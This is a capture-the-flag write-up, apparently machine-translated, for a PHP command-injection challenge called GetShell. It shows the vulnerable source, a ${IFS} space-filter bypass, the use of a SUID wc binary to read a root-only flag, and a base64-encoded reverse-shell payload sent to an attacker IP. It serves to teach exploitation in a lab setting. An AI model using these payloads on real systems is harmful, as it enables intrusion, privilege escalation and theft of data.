GHCTF2025 GetShell Problem Solution

502 Views
No Comments

A total of 4310 characters, expected to take 11 minutes to complete reading.

Title

open the web page to the source code:

<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {$this->logLevel = $logLevel;}

    public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";
        }
    }
}

class UserManager {private $users = [];
    private $logger;

    public function __construct($logger) {$this->logger = $logger;}

    public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}

        if (strlen($password) < 8) {return "Password must be at least 8 characters";}

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {$this->maxLength = $maxLength;}

    public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {$this->logger = $logger;}

    public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}

        if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {return $validationResult;}

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {$config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {$username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {$username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
}

Ideas

Turn to the bottom of the code and the web page gets action andinputtwo parameters, and executedactionHandle:

GHCTF2025 GetShell Problem Solution

Go actionHandle, noteaction=run When you can execute arbitrary commands, but there is filtering:

GHCTF2025 GetShell Problem Solution

There is a limit of up to 100 characters (see configuration):

GHCTF2025 GetShell Problem Solution

And the executed command cannot contain spaces, it is easy to think of it here. ${IFS} to get around, say cat flag can be used cat${IFS}flag Come around.

GHCTF2025 GetShell Problem Solution

We execute first ls -al See what's in the current directory, through GET Incomingaction=run&input=ls${IFS}-al:

GHCTF2025 GetShell Problem Solution

GHCTF2025 GetShell Problem Solution

Notice that the current folder has a wc file, and can be executed. Let's look at what's in the home directory again, passing inaction=run&input=ls${IFS}-al${IFS}/:

GHCTF2025 GetShell Problem Solution

can be found flag In /flag. Is it directly? cat /flagWhat?

GHCTF2025 GetShell Problem Solution

However, it doesn't work. I only looked at it. root Users have permissions. Suddenly thought wc File, this file attribute has a s, means SUID file. This file allows the process to temporarily obtain the permissions of the program file owner when the program is executed, then we can not obtain flag It's up. Let's see what uses are:

GHCTF2025 GetShell Problem Solution

Parameters --files0-from=xxx It means to read. xxx The contents of the file, and calculate the number of words in each file in the file content. We read a file casually:

GHCTF2025 GetShell Problem Solution

can be found wc I read the contents of the file, and because the file in the content does not exist, I actually printed out the contents of the file, which is easy to handle!

Or direct rebound shell More convenient, direct inputbash -i >& /dev/tcp/ 你的 IP/ 端口 0>&1, bypass the spaceecho${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=|base64${IFS}-d${IFS}|bash, and then URL encoding becomesaction=run&input=echo$%7BIFS%7DYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=%7Cbase64$%7BIFS%7D-d$%7BIFS%7D%7Cbash. obtained shell:

GHCTF2025 GetShell Problem Solution

Input ./wc --files0-from=/flag can be obtained flag La!

END
 1
Comment(No Comments)
验证码
en_USEnglish